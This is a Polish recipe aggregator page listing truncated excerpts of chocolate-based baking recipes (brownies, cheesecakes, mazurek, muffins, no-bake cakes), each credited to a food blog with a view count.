nawet zrobię filiżankę aromatycznej i pysznej kawy. Ciasto jest bardzo pyszne, mięciutki kakaowy biszkopt, krem o smaku chałwowym i lekka kawowa pianka, a  dodatkowo w środku biszkopty i czekolada na wierzchu. Same pyszności, więc czego chcieć więcej. Bardzo polecam. Zapraszam :) Składniki: Biszkopt: 5 jajek pół szklanki cukru pół szklanki maki tortowej pół szklanki maki ziemniaczanej 2 lekko kopiaste łyżki(...)Chłodzenie: Tak wykonane ciasto wkładamy do lodówki do stężenia na kilka godzin, a najlepiej na całą noc. Im dłużej się chłodzi to tym lepiej będzie się kroiło. 5. Podanie: Czekoladę ścieramy na tarce o dużych oczkach. Ciasto kroimy, posypujemy z wierzchu czekoladą i podajemy. Smacznego życzę. Rady: Szklanka do odmierzania składników o pojemności 250 ml. Ciasto można pokroić na około

Izabelawkuchni
babka z czekoladą w proszku (ucierana) 146

Moja kolejna propozycja Wielkanocnej baby- tym razem nie gotowana a zwyczajnie ucierana ale z dodatkiem...saszetki gorącej czekolady o smaku pomarańczowym. Bardzo charakterystyczny aromat i smak powodują, że babka jest dość oryginalna.  *duża foremka na babkę Składniki: 2 szklanki mąki pszennej  2 łyżki mąki ziemniaczanej 6 jajek 1 szklanka cukru 300 g masła 2 łyżeczki proszku do pieczenia(...)saszetka czekolady do picia (25 g) polewa czekoladowa Białka oddzielić od żółtek. Białka ubić na pianę. Miękkie masło utrzeć dokładnie z cukrem a następnie dodawać po żółtku. Mąkę wymieszać  z mąką ziemniaczaną i proszkiem do pieczenia, przesiać do masy, krótko zmiksować. Dołożyć pianę z białek i delikatnie wymieszać. Podzielić ciasto na połowę, do jednej dodać czekoladę w proszku. Foremkę

Domowa Cukierenka-Domowa Kuchnia
Jajka-brownie 143

albo murzynkowe, jak np. z przepisu na ten tort (oczywiście z podanych w przepisach proporcji wyjdzie więcej ciastek, dlatego należy przygotować więcej wydmuszek). Niezłe jaja;)  Składniki: 100g gorzkiej czekolady 50g masła 2 małe jajka 0,5 szklanki cukru brązowego 2 łyżki mielonych migdałów 1 łyżka mąki 1 łyżka kakao 0,5 łyżeczki proszku do pieczenia 6-8 wydmuszek(...)dużych jaj Czekoladę połamać, razem z masłem umieścić w kąpieli wodnej, roztopić. Jajka utrzeć z cukrem na puszystą masę, ciągle miksując wlać czekoladę. Mąkę przesiać z proszkiem i kakao, razem z migdałami wsypać do masy. Wymieszać. Ciasto przełożyć do rękawa cukierniczego z długą okrągłą końcówką (trochę grubszą, niż do nadziewania pączków), napełnić wydmuszki do 2/3 wysokości. Napełnione skorupki ustawić

Obiad gotowy
Zielono po raz kolejny... I ciasto marmurkowe: biała czekolada-matcha. 100

zapach wynagradza w 100% bogaty poplon w postaci zapełnionego miskami, garnuszkami i talerzykami zlewozmywaka... Przepis z bloga Maggie . Składniki: (foremka na bochenek-keksówka, okolice 20/10cm) 120g masła 75g białej czekolady 3 duże jajka 150g drobnego cukru do wypieków 180g maki 1 łyżeczka proszku do pieczenia szczypta soli 1 1/2 łyżeczki herbaty matcha Rozgrzej piekarnik do 170stC. Przygotuj foremkę wyłożona papierem(...)pieczenia. Masło rozpuść w rondelku - najlepiej delikatnie na malutkim ogniu, tak by nie było wrzace. Czekoladę stop w miseczce umieszczonej nad goraca woda (tak, by dno nie dotykało powierzchni wody). Odstaw do przestudzenia. Jajka ubij mikserem z cukrem, na gładka, jasna masę. Makę wymieszaj z sola i proszkiem do pieczenia i dodawaj stopniowo do jajek - cały czas miksujac na najmniejszych

Lejdi of the house
Krucha tarta z ricottą i czekoladą 105

Jeśli tak jak ja, nie przepadacie za mazurkami, możecie przygotować na Wielkanoc prostą tartę z kruchego ciasta, z ricotą i czekoladą. Można ozdobić ją wg uznania, w taki sposób, że przed zjedzeniem stanie się ozdobą świątecznego stołu :) ciasto: 300 g mąki 40 g cukru pudru trzcinowego 200 g masła 2 żółtka 1 łyżka jogurtu nadzienie: 250 g ricotty 2 jajka(...)stopni. Wiekszą część ciasta rozwałkowujemy i wykładamy nią formę (natłuszczoną i podsypaną kaszą manną lub kukurydzianą) o średnicy ok. 26 cm. Ricottę miksujemy z jajkami i cukrem. Mieszamy z czekoladą i wylewamy na nakłuty widelcem spód. Drugi kawałek ciasta rozwałkowujemy i foremkami do ciastek, wycinamy w nim kwiatuszki, bądź inne otworki. Przykrywamy masę serową, zlepiając rogi ciasta. Powstałe z wycinania

Mienta blog
CZEKOLADOWE MUFFINKI 150

smaku ... przekonajcie się sami !  SKŁADNIKI: 300 g mąki pszennej (najlepiej typ 450) 2 łyżeczki proszku do pieczenia 1 łyżeczka sody 150 g cukru 40 g kakao 100 g czekolady 250 ml mleka 125 g roztopionego masła 2 jajka PRZYGOTOWANIE: 1.Jajka (w temp. pokojowej) ucieramy z cukrem na puszystą masę. 2. Masło roztapiamy i przestudzone mieszamy z masą jajeczną(...)Mąkę przesiewamy i łączymy z sodą, proszkiem do pieczenia i gorzkim kakao. Dodajemy partiami do masy cały czas mieszając. 4. Wlewamy stopniowo mleko. 5. Czekoladę drobno siekamy i dodajemy do ciasta. Dokładnie mieszamy. 6. Wypełniamy ciastem formy do muffinek. Możemy dodatkowo posypać czekoladą (użyłam groszków czekoladowych) 7. Pieczemy ok. 25-30 min w temp

Marcepanowa kuchnia
SLONECZNIKOWIEC Z KREMEM ADVOCATOWYM 796

łyżeczka kakao Krem śmietanowo-serowy: 200 g kremówki, 200 g maskarpone, 1 łyżka cukru pudru Słonecznik: 100 g słonecznika, 2 łyżki masła, 2 łyżki cukru Polewa: 100 g gorzkiej czekolady, 2 łyżki masła, 2 łyżki śmietanki 30% Dodatkowo: dżem wiśniowy WYKONANIE Ciasto: Żółtka oddzielamy od białek. Białka ubijamy na sztywno, dodajemy cukier, następnie żółtka oraz pozostałe składniki, mieszamy delikatnie, wylewamy(...)serowy: Ubijamy kremówkę, dodajemy cukier i po łyżce sera, miksujemy. Słonecznik: Na patelni rozpuszczamy masło, dodajemy słonecznik i cukier, prażymy na złoto, studzimy, odkładamy 3 łyżki do dekoracji. Polewa: Czekoladę rozpuszczamy w kąpieli wodnej z dodatkiem masła i śmietany. Przełożenie: Ciasto smarujemy kremem kajmakowym, smarujemy lekko dżemem, przykrywamy drugim biszkoptem, przekładamy jasnym kremem, smarujemy czekoladą

słodki bratek
Brownie z malinami 204

hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Brownie z malinami Składniki: Masło – 200g Czekolada gorzka – 200g Jajka – 3 sztuki Cukier – 150 g Mąka – 150g Maliny (mogą być mrożone) Wykonanie: Masło roztopić w garnku, a następnie dodać do niego czekoladę. Całość dokładnie rozpuścić i ostawić(...)wystygnięcia. W międzyczasie jajka ubić z cukrem na delikatną puszystą masę. Do jajek dodać mąkę i delikatnie wymieszać. Następnie dodać przestudzone masło i czekoladę. Całość wymieszać i przełożyć do foremki do pieczenia posmarowanej masłem i wyłożonej papierem do pieczenia. Na cieście ułożyć maliny. Ciasto piec 35-45 minut – do suchego patyczka

Kuchnia Bon Appetit
Batoniki owsiane z gorzką czekoladą 110

sposób na pyszną i zdrową przekąskę, na którą można sobie pozwolić (w zależności od składników) nawet na diecie. Batoniki owsiane z gorzką czekoladą właśnie takie są – same zdrowe składniki, nawet ta gorzka czekolada… Artykuł Batoniki owsiane z gorzką czekoladą pochodzi z serwisu Kolorowy Przepisownik

Kolorowy Przepisownik
Wegańskie batony z orzechami pecan 111

pytanie, czy aby są tak trudne, by nie można było ich przygotować w domu? Zmodyfikowałam nieco przepis dodając od siebie suszoną żurawinę i nie jedną a dwie tabliczki gorzkiej czekolady! Do dzieła! To zaledwie 20 minut + czas chłodzenia w lodówce (moje powstały wieczorem, rano już je kroiłam) Składniki na batony pół szklanki  masła orzechowego crunchy  .  Do tego(...)kawałeczkami orzechów 10 daktyli (u mnie 14) półtorej szklanki orzechów pecan dwie szczypty soli , u mnie różowa himalajska 1 łyżeczka ekstraktu z wanilii Składniki na polewę 200 g gorzkiej czekolady u mnie 80 % cacao więcej niż pół szklanki masła orzechowego 70 – 100 ml napoju ryżowego kilka orzechów pecan spora garść suszonej żurawiny , miękkiej i bez chemii  Batony Masło orzechowe

Z Kuchni Do Kuchni
Babeczki z kremem malinowym 260

mąki 150 g masła 90 g cukru 3 żółtka szczypta soli krem malinowy: 150 g malin mrożonych Horetx 200 g serka mascarpone 200 ml śmietany 30% 120 g białej czekolady 1 łyżka soku z cytryny bezy: 3 białka 150 g cukru 50 ml wody   Przygotowanie: babeczki: Wszystkie składniki na babeczki przekładamy do miski i szybko zagniatamy.Ciasto odstawiamy na pół(...)przez następne 15 minut aż się zarumienią. Studzimy. krem malinowy: Maliny mrożone Hortex podgrzewamy, dusimy aż puszczą sok, a następnie miksujemy i przecieramy przez sito aby pozbyć się pestek. Czekoladę rozpuszczamy w śmietanie. Do lekko przestudzonej śmietany z czekoladą dodajemy przetarte maliny. Odstawiamy do lodówki na całą noc. Następnego dnia mus malinowy miksujemy z mascarpone z dodatkiem soku z cytryny

Bon appetit mon amie
Sernik z masą krówkową o smaku kukułki na herbatnikowy spodzie 185

jajek 1 budyń waniliowy Winiary z cukrem 50 g miękkiego masła 1 cukier waniliowy 2 łyżki kaszy manny  1 długi wagonik herbatników Cukry Nyskie jasne lub kakaowe 1 czekolada Milka mleczna 1 łyżka słodkiej śmietanki 30 % blaszka o wymiarach w której piekłam to 25/38 aby był wyższy proponuję blaszkę o wymiarach 24/30 Wykonanie : Do misy blendera przekładamy(...)przy uchylonych drzwiczkach, następnie gdy jet już letni wyciągamy i odstawiamy do całkowitego wystygnięcia.  Do większej miseczki wlewamy gorącą wodę i wkładamy do niej mniejszą miseczkę z połamaną czekoladą i śmietanką, pozostawiamy do całkowitego rozpuszczenia, następnie delikatnie mieszamy i polewamy zimny sernik, wierzch dekorujemy śliwkami w czekoladzie. Życzę smacznego

Sama słodycz i szczypta chili
Ciasto cappuccino i orzechami i kajmakiem 133

miód. Wrzucić rozbite drobno orzechy, płatki migdałów i rodzynki. Smażyć tak długo aż poczujecie zapach prażonych bakalii. Bakalie zdjąć z patelni i ostudzić. Zimne bakalie rozłożyć na masie kajmakowej. Czekoladę – roztopić stawiając miseczkę z pokruszoną czekoladą na garnuszku z parującą wodą. Wlać śmietanę i wymieszać. Gorącą i roztopioną czekoladą polać ciasto. Nie jest to konieczne. Ciasto pycha

Kuchnia Pokoleń
Król lew – ciasto bez pieczenia! 2372

Król lew – przepyszne ciasto bez pieczenia! Pyszny i chrupiący przekładaniec pełen batonika Lion. Karmelowo – śmietankowe ciasto z czekoladą, któremu ciężko się oprzeć. Polecam!   Składniki: ok 55 sztuk herbatników 1 puszka masy kajmakowej 5 batoników Lion 500 ml śmietany kremówki 30 lub 36% 1 śmietan-fix 250g serka mascarpone 2 łyżki cukru pudru pół tabliczki gorzkiej czekolady(...)mieszamy razem, za pomocą łyżki. Tak powstałą masę wykładamy na herbatniki *** *** Na masę ponownie wykładamy herbatniki. Resztę śmietanki (250ml) ubijamy ze śmietan-fixem i wykładamy na wierzch ciasta *** *** Gorzką czekoladę ścieramy na tarce i obsypujemy nią ciasto *** *** Ciasto wkładamy do lodówki na całą noc *** *** Wierzch ciasta dekorujemy pokrojonym na plasterki batonikiem Lion *** *** SMACZNEGO *** POLECAM TAKŻE: PRZEPISY NA PYSZNE I EFEKTOWNE

Blog z Apetytem
Wegańskie, proteinowe brownie z kokosowym karmelem i popcornem (bez glutenu, cukru białego, laktozy, wegańskie) 168

Składniki (śr: 22 cm): Proteinowe brownie -120g płatków owsianych (bezglutenowe lub zwykłe) -80g mąki kokosowej -80g roślinnej odżywki białkowej  Plantforce Synergy Life smak:czekolada  -2/3 szklanki kakao (zapomniałyśmy ile to waży :P) -80g oleju kokosowego -200g świeżych daktyli bez pestek -500ml/480g musu z gruszek (z ok 1kg świeżych) -300g napoju(...)roślinnego -łyżeczka proszku do pieczenia na kamieniu winnym -tabliczka gorzkiej czekolady bez cukru (u nad 70% kakao) Kokosowy karmel -250ml mleka kokosowego lub śmietanki kokosowej powstałej z puszki mleka kokosowego (u nas śmietanka się po prostu nie oddzieliła :P) -cukier kokosowy Dodatkowo -popcorn (3 łyżki ziaren kukurydzy, olej kokosowy) -wege ciasteczka -wege krówki PROTEINOWE BROWNIE Mokre składniki

Candy Pandas
Przepis #124 Bananowy chlebek (wegański) 108

byłabym sobą gdybym trochę nie poeksperymentowała . I tak wyszło bardzo smaczne ciasto bez mąki, jajek, mleka oraz dodatku cukru. Dodałam do niego trochę suszonych śliwek, pestek dyni oraz gorzkiej czekolady. Ale tak na prawdę można do niego dodać wiele innych ulubionych dodatków;) Chlebek robi się szybko - wystarczy wszystko zblendować w jednej misce i upiec;) Warto spróbować! Wartości odżywcze(...)Składniki (tradycyjna keksówka) -  4 banany - 200 g płatków owsianych - 15 g pestek dyni - 30 g suszonych śliwek - 60 g gorzkiej czekolady - 25 g płatków migdałowych Wykonanie Do miski wrzucamy kawałki bananów i blendujemy na jednolitą masę. Dodajemy płatki owsiane, pestki dyni oraz suszone śliwki. Całość ponownie blendujemy. Na koniec wsypujemy pokrojoną w kostkę czekoladę i mieszamy. Tak przygotowaną masę

Health-Fit-Life
Ciasto czekoladowe bez mąki 143

oleju. Nie jest ciężkie i wilgotne jak brownie i smakowało wszystkim bez wyjątku!  Przepis znalazłam u Natchnionej i zapewniam, że jest niezawodny! SKŁADNIKI:  4 jajka 150 gorzkiej czekolady 200 g mąki migdałowej 100 g ksylitolu 2 łyżki oleju 1 łyżeczka proszku do pieczenia  1/4 łyżeczki sody  Czekoladę rozpuść w kąpieli wodnej. Migdały wymieszaj z proszkiem(...)pieczenia i sodą. Białka ubij na sztywną pianę. Żółtka ubij z ksylitolem i olejem na pulchna masę, wlej rozpuszczoną czekoladę, migdały z proszkiem i zmiksuj. Na koniec delikatnie połącz z pianą z białek. Ciasto przełóż do formy wyłożonej papierem do pieczenia ( użyłam tortownicy o średnicy22 cm). Piecz około 35 minut w temperaturze 180 stopni - do suchego patyczka. Upieczone ciasto posyp

Kuchnia bezglutenowa
Drożdżowe bułeczki z czekoladą. 106

ciasto będzie odchodziło od rąk. Odstawiamy w ciepłe miejsce na około godzinę, by podwoiło swoją objętość.  3. Po godzinie ciasto rozwałkowujemy i wykrawamy krążki. Na nie kładziemy łyżką czekoladę (może być marmolada, ja akurat nie miałam, dlatego użyłam Nutellę). Formujemy kulki.  4. Gotowe bułeczki kładziemy na blaszce wyłożonej papierem do pieczenia. 5. Pieczemy około 30 minut(...)stopniach. 6. Można udekorować roztopioną czekoladą albo cukrem pudrem. Zajrzyj również tu: 1.  Sernik na kruchym spodzie z masą kajmakową i wiórkami kokosowymi 2.  Placuszki jajeczne - idealne na śniadanie 3.  Kruche ciasteczka z kawałkami czekolady

My World by Dagmara Rek
Ciasto marchewkowe z olejem rzepakowym. 94

łyżeczka sody 1 łyżeczka cynamonu  3/4 szklanki orzechów włoskich  1/2 łyżeczki pasty waniliowej II. Masa: 500 g serka mascarpone 1/2 szklanki śmietanki 30% 2 tabliczki białej czekolady 1/3 łyżeczki pasty waniliowej + Odrobina marchewki, startej na małych oczkach i marchewki z lukru plastycznego . Sposób przygotowania: W dużej misce umieszczamy marchew, jajka, cukier, olej rzepakowy i drobno pokrojonego ananasa. Dodajemy(...)umieszczamy w natłuszczonej formie i odstawiamy na 20 minut, aby zaczęło pracować. Pieczemy w temp. 180°C, do suchego patyczka (40-50 minut). Studzimy. W kąpieli wodnej rozpuszczamy białe czekolady. W misce umieszczamy mascarpone, zimną śmietankę i pastę waniliową. Miksujemy na gładką masę. Na końcu dodajemy przestudzoną, ale wciąż płynną czekoladę. Mieszamy do połączenia składników. Umieszczamy w lodówce pod przykryciem

DominikaDolci
3 Bit z herbatnikami. 101

przedstawię Wam mój przepis na ciasto 3 Bit. :) Robi się je prosto, szybko i przyjemnie. Składniki: I. Masa budyniowa: 700 ml mleka 3,2% 1 budyń śmietankowy z białą czekoladą (bez cukru) 1 budyń z prawdziwą wanilią (bez cukru) 4 łyżki brązowego cukru 2 łyżeczki przyprawy do deserów "Karmel i wanilia" (opcjonalnie) 1/3 łyżeczki pasty waniliowej (opcjonalnie(...)miękkiego masła II. Bita śmietana:  300 ml śmietany kremówki 3 łyżki cukru pudru III. Dodatkowo: 300 g maślanych herbatników woda różana 1 puszka masy kajmakowej (510 g) czekolada/ wiórki czekoladowe/ kamyczki karmelowe/ kamyczki czekoladowe do dekoracji Sposób przygotowania: Z osłodzonego brązowym cukrem mleka gotujemy budynie (razem). Odstawiamy do ostygnięcia. W misce umieszczamy 200 g masła, pastę waniliową i przyprawę

DominikaDolci
Wiosenna Panna Marlenka z masłem orzechowym. 100

deserów "Karmel i wanilia" 1 puszka masy kajmakowej 250 g prawdziwego, miękkiego masła 150 g masła orzechowego (użyłam z kawałkami orzechów) III. Do przybrania: drobno zmielone skrawki ciasta temperowana czekolada (opcjonalnie) lukier królewski (opcjonalnie) lukier plastyczny (opcjonalnie) Sposób przygotowania: Najpierw robimy masę. Gotujemy budyń z pół litra mleka, doprawionego przyprawą "Karmel i wanilia". Schładzamy. Masło ucieramy z masą kajmakową(...)równe przycinanie. Placki smarujemy obficie masą (nadmiar wilgoci wchłonie ciasto) i układamy jeden na drugim. Wierzch i boki również smarujemy masą, a następnie posypujemy zmielonym ciastem. Możemy przyozdobić również czekoladą. Ja wykonałam kwiaty z lukru plastycznego, dół ozdobiłam lukrem królewskim, a koła robiłam z temperowanej czekolady i żółtego pyłku. Gotowe ciasto odstawiamy na co najmniej 24 h. Im dłużej postoi

DominikaDolci
Tort "Kokosowy bukiet". 89

soli 4 łyżki cukru kryształu 4 łyżki mąki tortowej 1,5 łyżki budyniu waniliowego bez cukru II. Masy: 500 g serka mascarpone 5 łyżek likieru kokosowego 2 tabliczki białej czekolady 1/2 szklanki śmietany kremówki 100 g wiórków kokosowych III. Bezy (Pavlova): 5 białek szczypta soli 300 g cukru IV. Poncz: 30 ml gorącej wody 7 łyżek likieru kokosowego 1 łyżka(...)cukrem przez około 10 minut. Do masy przesiewamy mąkę i budyń. Całość krótko mieszamy ręką. Przelewamy do tortownicy i pieczemy ok. 35 minut. Serek mascarpone miksujemy ze śmietanką.  Czekolady roztapiamy w kąpieli wodnej. Lekko studzimy. Do masy dodajemy czekoladę i likier. Mieszamy do połączenia składników. Gotowy krem dzielimy na dwie, równe części. Do jednej dodajemy wiórki kokosowe. Odstawiamy

DominikaDolci
Mazurek czekoladowo-chałwowy. 140

orzechów włoskich cukier wanilinowy firmy Delecta II. Kremy: 75 g mleka 3,2 % 20 g żółtka 30 g cukru 3 g płatków żelatyny 275 g śmietanki 36% 70 g czekolady powyżej 50%  70 g dobrej jakości chałwy III. Beza włoska: 100 g białka 200 g cukru woda IV. Przybranie: temperowana czekolada masa marcepanowa pokruszone orzechy włoskie odrobina lukru królewskiego(...)żółtek gotujemy krem angielski. Cały czas mieszamy, aby jajka się nie ścięły. Zdejmujemy z ognia i dodajemy osuszoną żelatynę. Dokładnie mieszamy. Krem rozdzielamy do dwóch misek. Do jednej wsypujemy czekoladę, a do drugiej chałwę. Mieszamy obie masy. Studzimy. Ostudzone miksujemy. Śmietanę ubijamy na "prawie sztywną". Dzielimy ją na dwie części. Połowę dodajemy do masy chałwowej i mieszamy. Drugą część dodajemy

DominikaDolci
Krucha tarta karmelova z czerwoną porzeczką. 193

cukru pudru 1 żółtko (ok. 20 g) szczypta soli II. Krem karmelovy: 75 g mleka 3,2% 20 g żółtka 30 g cukru 3 g płatków żelatyny 125 g czekolady Karmelove 270 g śmietanki 36% + 1 opakowanie czerwonych porzeczek Sposób przygotowania:  Ucieramy masło z cukrem.  Dodajemy żółtko oraz sól i ucieramy jeszcze chwilkę. Ręcznie zagniatamy z mąką, owijamy(...)stale mieszając, aż krem stanie się jasny i lekko zgęstnieje. Zdejmujemy z ognia i wrzucamy odsączoną na ręczniku papierowym żelatynę. Mieszamy. Całość przelewamy do miski i wsypujemy drobno pokrojoną czekoladę. Mieszamy do rozpuszczenia. Studzimy do temperatury poniżej 30 ° C.  Śmietankę podbijamy (powinna być lekko lejąca) i stopniowo dodajemy do kremu z czekoladą. Delikatnie mieszamy łopatką. Formę wyłożoną ciastem pieczemy

DominikaDolci
Zimowe czekoladowe smoothie na śniadanie w drodze do pracy 177

Wykonanie: Do shakera wrzucić płatki owsiane, połamaną czekoladę i migdały i zemleć je na sucho. Mleko wlać do rondelka i podgrzać (na kuchence lub w mikrofalówce ale z tą uważac bo mleko łatwo może wykipieć). Mleko nie ma się zagotować a jedynie mocno podgrzać. Gdy jest gorące dodać do mleka zmiksowane płatki z czekoladą i migdałami. Zmniejszyć ogień i podgrzewać(...)zmiksowane płatki napęczniały zagęszczajac mleko a czekolada roztopiła się. Mieszać aby nic nie przywarło do dna Zdjąć z ognia i nieco przestudzić by nie wlewać zbyt gorącego do shekera. Nie każdy jest przeznaczony na wysokie temperatury. Wlac do shakera przestudzone mleko i pokrojonego w kawałki banana. Od razu przelać do termosa i zabrać w drogę

Sztuka gotowania w/g Samiry
Malinowy adwokatek (bez pieczenia) 1656

pieczenia ,w sam raz na dzień kobiet aby osłodzić sobie dzień,  na maślanych herbatnikach , warstwa budyniu advokatowego idealnie komponuje się z orzeźwiającą masą malinową, śmietanka z startą gorzką czekoladą dopełnia smaku, ciasto jest nieprzesłodzone i bardzo smaczne, to dowód na to, że bez odpalania piekarnika też możemy wyczarować smaczny deser do popołudniowej filiżanki herbaty. Ciasto godne również świątecznego stołu(...)łyżki cukru 125 g masła Masa śmietanowa: 1,5 szklanki śmietanki kremówki 30-36 % 2 łyżki sera mascarpone 1 łyżka cukru pudru Do posypania: 30 g gorzkiej  czekolady startej na tarce Ciasto rozpoczynamy od przygotowania galaretki malinowej: Rozmrożone maliny zasypujemy cukrem, gotujemy 5 minut na wolnym ogniu, aż się rozpadną, można zmiksować blenderem na mus, zestawiamy z palnika, wsypujemy

Wanilia i Kardamon
Kokosek na herbatnikach 219

łyżki mąki ziemniaczanej 300 g wiórków kokosowych 50 ml likieru kokosowego 150 g miekkiego masła, u mnie Jogo masa śmietanowa 500 g schłodzonej śmietany 30 % Jogo 1 tabliczka białej czekolady oraz wiórki kokosowe do posypania ( ok 80 g ) Przygotować krem kokosowy Żółtka utrzeć z cukrem waniliowym, dodać 1 szklankę mleka oraz mąkę pszenną i ziemniaczaną. Dokładnie wymieszać aby nie było(...)wystudzić. Miękkie masło ubić mikserem na puszystą masę. Porcjami dodawać wystudzony budyń. Gdy składniki się połączą dodać wiórki kokosowe. A na na koniec dodać likier kokosowy. Przygotować mase śmietanową Czekoladę rozpuścić w kąpieli wodnej. Odstawić do przestudzenia. Śmietanę wlać do miski i ubić na sztywno. Na koniec dodać przestudzoną roztopioną czekoladę. Zmiksować do połączenia składników. Złożenie ciasta: herbatniki, krem koksowy

Monia miesza i gotuje
Mazurek z marmoladą różaną i marcepanem 127

Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Dodatkowo: 250 g marmolady o smaku różanym 300 g marcepanu (u mnie z Lidla) 100 g czekolady gorzkiej Czekoladę rozpuścić w kąpieli wodnej. Marmoladę rozsmarować na wystudzonym cieście. Marcepan rozwałkować pomiędzy dwoma woreczkami foliowymi (bardzo się klei). Wyłożyć na marmoladę. Całość posmarować roztopioną czekoladą. SMACZNEGO

kulinarnyswiatdomi
Ciasteczka owsiane z żurawiną 140

Kolejny przepis na bardzo smaczne i chrupiące owsiane ciasteczka, wypełnione po brzegi czekoladą i żurawiną. Składniki: - 1 szklanka mąki pszennej - 1/2 szklanki cukru - 2 jajka - 3 kostki gorzkiej czekolady - 2 łyżki masła - 1/2 szklanki oleju - 2 i 1/2 szklanki płatków owsianych - 1 łyżeczka proszku do pieczenia - 1 łyżeczka cukru waniliowego - 1 szklanka suszonej żurawiny - szczypta soli Przygotowanie(...)Masło ucieramy z cukrem i żółtkami na puszystą masę. Następnie dodajemy olej oraz cukier waniliowy. Do masy wsypujemy porcjami mąkę wymieszaną z proszkiem do pieczenia, płatki, żurawinę oraz posiekaną czekoladę Na blachę wyłożoną papierem do pieczenia kładziemy porcjami ciasto i formujemy małe ciasteczka. Pieczemy w 180 C około 15 minut

Zainspirowana w kuchni
brownie klasyczne 118

składniki: 200 g czekolady gorzkiej 200 g masła 175-200 g cukru 3 jajka 110 g mąki 1 łyżeczka ekstraktu waniliowego 1 szczypta soli wykonanie: Masło roztapiamy, dodajemy połamaną na kawałki czekoladę, odstawiamy na chwilkę, a następnie mieszamy do połączenia się. Jajka mieszamy z cukrem. Dodajemy do lekko przestudzonej czekolady, mieszamy. Następnie dodajemy sól, ekstrakt oraz mąkę i mieszamy

Domowy Smak Jedzenia
pyszne ciasto czekoladowe z jabłkami i pianką... 152

Składniki: puder 3/4 szklanki + zimna woda 4 łyżki + ocet 10% 1 łyżeczka + mąka ziemniaczana 2 łyżki, czekolada gorzka 200 gram, jabłka 6 sztuk większe, jajka 6 sztuk "L", cukier 3/4 szklanki, cukier wanilinowy 1 opakowanie, margaryna 250 gram, mąka pszenna 2,5 szklanki, proszek do pieczenia 2 łyżeczki, soda 1 łyżeczka, kakao 3 łyżki białka zimne ze szczyptą soli ubijać(...)szybko połączyć składniki na dość gęste ciasto forma 30x25 cm z papierem do pieczenia, do formy wyłożyć ciasto i wyrównać wierzch na ciasto zetrzeć na grubszych oczkach tarki czekoladę gorzką, obrane jabłka, na jabłka wyłożyć ubitą pianę piekarnik nagrzany na 180C, grzanie góra/dół, ciasto piec około 55 minut, aby pianka za mocno się nie przypiekła do można nakryć

W Mojej Kuchni Lubię
Ciasto Aniołek-śmietanowy przekładaniec 5674

składa się z 4 spodów do których dodajemy amoniak, który nadaje im miękkość. Spody są przełożone kremem na bazie śmietany. Całość można albo posypać wiórkami kokosowymi albo startą białą czekoladą. Zapraszam na aniołka :) SKŁADNIKI *przepis na dużą blaszkę około 22x35cm SPODY -0,5 kg mąki pszennej tortowej -2 jajka -200g śmietany gęstej, kwaśnej 18% -125g masła lub margaryny(...)śmietany gęstej 18% -3 jajka -3/4 szklanki cukru -1 łyżka cukru waniliowego -250g masła lub margaryny -3 łyżki mąki ziemniaczanej -1 łyżka mąki pszennej DODATKOWO -1 tabliczka czekolady białej Składniki na blaty dajemy do miski i zagniatamy z nich ciasto, jeśli się klei można dodać trochę mąki. Ciasto dzielimy na 4 równe części.\ Każdą część wałkujemy i przekładamy

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Tort z czereśniami 127

octu jabłkowego -1,5 łyżeczki proszku do pieczenia -3/4 szklanki cukru -2 łyżeczki cukru wnilinowego -serek mascarpone -500ml śmietany 36% -3 łyżki cukru pudru -100g białej czekolady -500g czereśni Przygotowanie: 1. Ucieramy żółtka z cukrem, proszkiem do pieczenia i octem. 2. Ubijamy białka z cukrem wanilinowym i dodajmy wcześniej utarte żółtka. 3. Przesiewamy mąkę pszenną, ziemniaczaną(...)23cm. Przekładamy masę do formy i pieczemy w 180 stopniach C przez 30min. 5. Odstawiamy do wystygnięcia. 6. Ubijamy śmietanę na sztywno, dodajemy cukier puder i serek mascarpone. 7. Czekoladę należy rozpuścić w kąpieli wodnej. Zimną czekoladę dodać do kremu i delikatnie wymieszać. 8. Biszkopt należy podzielić na trzy blaty i przyłożyć kremem z czereśniami

Coś z niczego
Pralinki czekoladowe 131

poza tym jest to z pewnością chyba najważniejsze ŚWIĘTO każdego łasucha, w tym mnie. Na około 15 pralinek/trufli, jak kto woli : ok 100 ml śmietanki kremówki Tabliczka czekolady gorzkiej pół tabliczki czekolady mlecznej łyżeczka masła 3-5 łyżki wódki lub rumu kakao i kilka orzechów włoskich Zaczynamy od zagotowania śmietanki, następnie zdejmujemy z ognia i wrzucamy połamane czekolady, łyżeczkę masła

Pora na pora
Muffinki kawowe z czekoladą 217

może być lepszego od kawy? Konkurować mogą z nią tylko pyszne muffinki kawowe z czekoladą! Ale i tak polecam jednak przygotować tę filiżankę, a nawet duży kubek kawy, by móc rozkoszować się nimi w pełni. Dodatek posiekanej czekolady nadaje im dodatkowego smaku. Przy okazji przygotowuje się je naprawdę łatwo – nie ma potrzeby wykorzystywania żadnego robota!   *Wpis powstał przy(...)współpracy z marką Breville.     Składniki: Suche: 2 szklanki Czytaj dalej... Artykuł Muffinki kawowe z czekoladą pochodzi z serwisu Pasja Smaku

Pasja Smaku
Ciasto na białkach z gorzką czekoladą 137

Jeśli macie nadmiar białek ( ja zazwyczaj mrożę je w pojemniczkach) to możecie wykorzystać je do przygotowania fajnego i szybkiego ciasta. Dodatek gorzkiej czekolady dodaje jej fajnego wytrawnego charakteru :) Składniki: - 160 g masła - 6 białek - 130 g cukru - 200 g mąki pszennej - sok z 1/2 cytryny - 1 tabliczka gorzkiej czekolady Przygotowanie: Masło rozpuszczamy i pozostawiamy do ostygnięcia. Białka ubijamy na sztywno(...)stopniowo dodajemy cukier. Następnie wlewamy przestudzone masło i sok z cytryny. Gdy składniki się połączą porcjami wsypujemy mąkę oraz posiekaną czekoladę. Keksówkę smarujemy masłem, wykładamy papierem do pieczenia i przelewamy do niej ciasto. Pieczemy w 180 C około 50 minut

Zainspirowana w kuchni
Pavlova na bogato 170

